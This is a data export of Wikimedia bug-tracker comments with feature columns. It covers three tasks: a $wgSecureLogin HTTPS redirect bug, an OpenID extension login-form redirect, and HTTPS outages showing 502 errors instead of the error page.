195844,$wgSecureLogin is broken,"Yes. The problem occurs when $wgSecureLogin is set to false, in which case users are redirected to HTTPS incorrectly.",,,1349812261,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-ja62toj2hlptt7xhcdj4,task_subcomment,,True,c2,1,False,,,-47,True,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,13.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,13.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.304347826086956,0.9130434782608695,"Yes. The problem occurs when $wgSecureLogin is set to false, in which case users are redirected to HTTPS incorrectly."
195840,$wgSecureLogin is broken,"Tyler's fix is merged, and will go out with 1.21wmf2. Is this breaking anything to the point that we need to do a live fix on the cluster?",,,1349812045,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-ja62toj2hlptt7xhcdj4,task_subcomment,,True,c2,1,True,,,-47,True,0.0,3.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,16.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,6.0,6.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,16.0,3.0,3.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.46875,0.90625,"Tyler's fix is merged, and will go out with 1.21wmf2. Is this breaking anything to the point that we need to do a live fix on the cluster?"
195835,$wgSecureLogin is broken,https://gerrit.wikimedia.org/r/27044,,,1349619536,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-ja62toj2hlptt7xhcdj4,task_subcomment,,True,c2,1,False,,,-47,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,GERRIT_URL
195829,$wgSecureLogin is broken,That's a pretty big oversight on my part. My apologies. This entire week I feel like I've been getting stupider. Standby for patch.,,,1349619322,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-ja62toj2hlptt7xhcdj4,task_subcomment,,True,c2,1,False,,,-47,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,14.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,21.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.7586206896551726,0.8620689655172413,That's a pretty big oversight on my part. My apologies. This entire week I feel like I've been getting stupider. Standby for patch.
195822,$wgSecureLogin is broken,Seems to be related to this: all our users now get forcefully redirected to https *after* logging even when $wgSecureLogin is false.,,,1349591031,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-ja62toj2hlptt7xhcdj4,task_subcomment,,True,c2,1,False,,,-47,True,4.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.111111111111111,0.8888888888888888,Seems to be related to this: all our users now get forcefully redirected to https *after* logging even when $wgSecureLogin is false.
42067,"When used as a provider, if a user needs to login, then the extension should redirect to the login form","Currently, if a user needs to login the provider will redirect to Special:OpenIDServer/Login. This is a form that only accepts a user's password. Rather than doing so, it should redirect to the normal login form Special:UserLogin with a returnto parameter that causes Special:UserLogin to return the user back to the OpenID form.

The reason for this is that the wiki could be using other authentication extensions like OATH, LDAP, or CentralAuth, and they won't exist in the Special:OpenIDServer/Login form.

--------------------------
**Version**: master
**Severity**: major",High,80.0,1346997480,1360459853.0,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,False,PHID-TASK-372swzshnfk7n2xcgg6p,task_description,resolved,True,c2,1,False,False,True,-51,True,0.0,0.0,0.0,0.0,1.0,2.0,1.5,0.0,0.0,0.5,1.5,1.0,0.0,0.5,0.0,0.0,0.0,3.5,7.5,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,3.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.5,0.0,0.0,0.0,1.0,0.0,10.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,1.0,0.0,0.0,0.0,1.0,0.0,7.0,2.0,13.5,1.5,1.5,8.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,1.5,7.5,10.0,0.0,0.0,0.0,1.5,0.0,1.0,2.0,0.0,1.5,0.0,0.0,0.0,4.10587431693989,0.6862021857923497,"Currently, if a user needs to login the provider will redirect to Special:OpenIDServer/Login. This is a form that only accepts a user's password. Rather than doing so, it should redirect to the normal login form Special:UserLogin with a returnto parameter that causes Special:UserLogin to return the user back to the OpenID form.

The reason for this is that the wiki could be using other authentication extensions like OATH, LDAP, or CentralAuth, and they won't exist in the Special:OpenIDServer/Login form.

--------------------------
**Version**: master
**Severity**: major"
202555,"When used as a provider, if a user needs to login, then the extension should redirect to the login form","> Ryan; if you discover a new problem, then please file a new bug. the issue
> you > reported with the ""OpenID: aborting in ChooseName because identity_url is
> missing"" in the consumer wiki debug log file is a different thing.

filed now as
https://bugzilla.wikimedia.org/show_bug.cgi?id=44834",,,1360460058,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-372swzshnfk7n2xcgg6p,task_subcomment,,True,c2,1,False,,,-29,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.6363636363636364,"QUOTE
QUOTE
QUOTE

filed now as
URL"
202551,"When used as a provider, if a user needs to login, then the extension should redirect to the login form","The described issue is (for non-wmflabs instances) solved in https://gerrit.wikimedia.org/r/#/c/46198/ .

Ryan; if you discover a new problem, then please file a new bug. the issue you reported with the ""OpenID: aborting in ChooseName because identity_url is missing"" in the consumer wiki debug log file is a different thing.",,,1360459853,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-372swzshnfk7n2xcgg6p,task_subcomment,,True,c2,1,False,,,-29,True,0.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,8.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,3.0,11.0,8.0,0.0,3.0,0.0,3.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,3.9344262295081966,0.7540983606557377,"The described issue is (for non-wmflabs instances) solved in URL .

Ryan; if you discover a new problem, then please file a new bug. the issue you reported with the ""OpenID: aborting in ChooseName because identity_url is missing"" in the consumer wiki debug log file is a different thing."
202548,"When used as a provider, if a user needs to login, then the extension should redirect to the login form","fixed in v2.01

https://gerrit.wikimedia.org/r/#/c/46198/",,,1360434868,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-372swzshnfk7n2xcgg6p,task_subcomment,,True,c2,1,False,,,-29,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,1.0,"fixed in v2.01

URL"
202545,"When used as a provider, if a user needs to login, then the extension should redirect to the login form",Let's keep the bug open until the change is actually merged in.,,,1359439486,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-372swzshnfk7n2xcgg6p,task_subcomment,,True,c2,1,False,,,-31,True,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,0.9285714285714286,Let's keep the bug open until the change is actually merged in.
202541,"When used as a provider, if a user needs to login, then the extension should redirect to the login form",https://gerrit.wikimedia.org/r/#/c/42757/4 looks good and works.,,,1359151206,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-372swzshnfk7n2xcgg6p,task_subcomment,,True,c2,1,False,,,-31,True,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,URL looks good and works.
202536,"When used as a provider, if a user needs to login, then the extension should redirect to the login form","""OpenID as a provider

As time goes on we want to tie more web service authentication to Labs' LDAP. It would be ideal to make labsconsole an OpenID provider so that services in Labs can use the same authentication source. OpenID as a provider on labsconsole is blocked by bugs 40068 and 40067.""

http://www.mediawiki.org/wiki/Wikimedia_Labs/Account_creation_improvement_project",,,1358635648,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-372swzshnfk7n2xcgg6p,task_subcomment,,True,c2,1,False,,,-32,True,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,19.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,2.0,0.0,0.0,0.0,21.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,15.0,3.0,2.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,19.0,8.0,0.0,5.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,4.016129032258065,0.7419354838709677,"""OpenID as a provider

As time goes on we want to tie more web service authentication to Labs' LDAP. It would be ideal to make labsconsole an OpenID provider so that services in Labs can use the same authentication source. OpenID as a provider on labsconsole is blocked by bugs 40068 and 40067.""

URL"
202532,"When used as a provider, if a user needs to login, then the extension should redirect to the login form",I've added an openid project in Labs and created an instance that's pre-installed with mediawiki called openid-wiki. Let's coordinate efforts there. Let me know your labsconsole user names and I'll add both of you to the project.,,,1358375599,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-372swzshnfk7n2xcgg6p,task_subcomment,,True,c2,1,False,,,-32,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,6.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,10.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,12.0,8.0,6.0,0.0,0.0,0.0,12.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,4.020833333333333,0.7916666666666666,I've added an openid project in Labs and created an instance that's pre-installed with mediawiki called openid-wiki. Let's coordinate efforts there. Let me know your labsconsole user names and I'll add both of you to the project.
202525,"When used as a provider, if a user needs to login, then the extension should redirect to the login form","Tyler, your proposed fix does unfortunately not work. 

It does not make sense, if you supply a patch and cannot test it (you stated in your commit ""Unfortunately, I cannot seem to get the OpenID extension working on my test wiki.""). 

Please let me know how I could help you to get OpenID working on your own test wiki.",,,1358373461,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-372swzshnfk7n2xcgg6p,task_subcomment,,True,c2,1,False,,,-32,True,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,8.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,3.0,4.0,3.0,3.0,1.0,8.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,0.0,1.0,0.0,0.0,1.0,3.0,0.0,11.0,3.0,1.0,3.0,0.0,0.0,0.0,0.0,12.0,1.0,0.0,0.0,16.0,8.0,1.0,0.0,3.0,0.0,16.0,0.0,1.0,1.0,1.0,3.0,0.0,0.0,0.0,3.5405405405405403,0.6621621621621622,"Tyler, your proposed fix does unfortunately not work. 

It does not make sense, if you supply a patch and cannot test it (you stated in your commit ""Unfortunately, I cannot seem to get the OpenID extension working on my test wiki.""). 

Please let me know how I could help you to get OpenID working on your own test wiki."
202518,"When used as a provider, if a user needs to login, then the extension should redirect to the login form","Hello, thanks for the patch.

I will test this - and the code review - as ultra-soon as possible.",,,1357652520,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-372swzshnfk7n2xcgg6p,task_subcomment,,True,c2,1,False,,,-34,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,0.8,"Hello, thanks for the patch.

I will test this - and the code review - as ultra-soon as possible."
202511,"When used as a provider, if a user needs to login, then the extension should redirect to the login form",https://gerrit.wikimedia.org/r/42757,,,1357652112,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-372swzshnfk7n2xcgg6p,task_subcomment,,True,c2,1,False,,,-34,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,GERRIT_URL
202503,"When used as a provider, if a user needs to login, then the extension should redirect to the login form","**sumanah** wrote:

Tyler, would you be able to take a look at this? Ryan says it's a blocker for using a paste app he'd like to install.",,,1356640448,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-372swzshnfk7n2xcgg6p,task_subcomment,,True,c2,1,False,,,-35,True,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,3.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,3.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,8.0,11.0,5.0,3.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,2.9473684210526314,0.8421052631578947,"**sumanah** wrote:

Tyler, would you be able to take a look at this? Ryan says it's a blocker for using a paste app he'd like to install."
41077,https does not show Wikimedia Error page,"Getting a ""502 Bad Gateway"" on https is bad, it is possible to get also the ""Wikimedia has a technical problem, please donate"" page as the http version shows? Thanks.

Seen at the outage today.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
https://rt.wikimedia.org/Ticket/Display.html?id=5021",High,80.0,1344275280,1384961221.0,PHID-USER-a6jwrurphpx6yl4coupk,False,,False,PHID-TASK-6jetwy2gs2yi7qtrxdrp,task_description,invalid,True,c2,1,False,False,True,-56,True,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,3.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,15.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,1.0,1.0,0.0,1.0,5.0,4.0,1.0,5.0,0.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,3.3972602739726026,0.6438356164383562,"Getting a ""502 Bad Gateway"" on https is bad, it is possible to get also the ""Wikimedia has a technical problem, please donate"" page as the http version shows? Thanks.

Seen at the outage today.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL"
194000,https does not show Wikimedia Error page,"too old, doesn't seem to have reproduced in the last outage. Closing.",,,1384961221,,PHID-USER-u7udgblfyop6qd5wxot6,False,,,PHID-TASK-6jetwy2gs2yi7qtrxdrp,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.625,0.9375,"too old, doesn't seem to have reproduced in the last outage. Closing."
193996,https does not show Wikimedia Error page,"RT #5021 about ""More meaningful Varnish 5xx page"" is resolved as ""This is already done.""
So this might be obsolete?",,,1383242776,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-6jetwy2gs2yi7qtrxdrp,task_subcomment,,True,c2,3,True,,,9,True,0.0,0.0,0.0,7.0,0.0,14.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,18.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,7.0,4.0,4.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,3.4642857142857144,0.8571428571428571,"RT #5021 about ""More meaningful Varnish 5xx page"" is resolved as ""This is already done.""
So this might be obsolete?"
193991,https does not show Wikimedia Error page,"OPS team, would this problem still occur ???? Somewhat more important now that all logged in users are on https I presume, raising importance to high.",,,1377989274,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-6jetwy2gs2yi7qtrxdrp,task_subcomment,,True,c2,3,False,,,0,True,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,12.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.90625,0.875,"OPS team, would this problem still occur ???? Somewhat more important now that all logged in users are on https I presume, raising importance to high."
193985,https does not show Wikimedia Error page,Bug 50891 has a screenshot.,,,1374786994,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-6jetwy2gs2yi7qtrxdrp,task_subcomment,,True,c2,1,True,,,-5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,1.0,Bug 50891 has a screenshot.
193977,https does not show Wikimedia Error page,"(similar: Bug 36498, linking to related RT ticket)",,,1374786895,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-6jetwy2gs2yi7qtrxdrp,task_subcomment,,True,c2,1,True,,,-5,True,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.5833333333333335,1.0,"(similar: Bug 36498, linking to related RT ticket)"
193970,https does not show Wikimedia Error page,A simple way to reproduce is adding too many templates and hitting preview.,,,1364579563,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-6jetwy2gs2yi7qtrxdrp,task_subcomment,,True,c2,1,True,,,-22,True,7.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,0.0,4.5,1.0,A simple way to reproduce is adding too many templates and hitting preview.
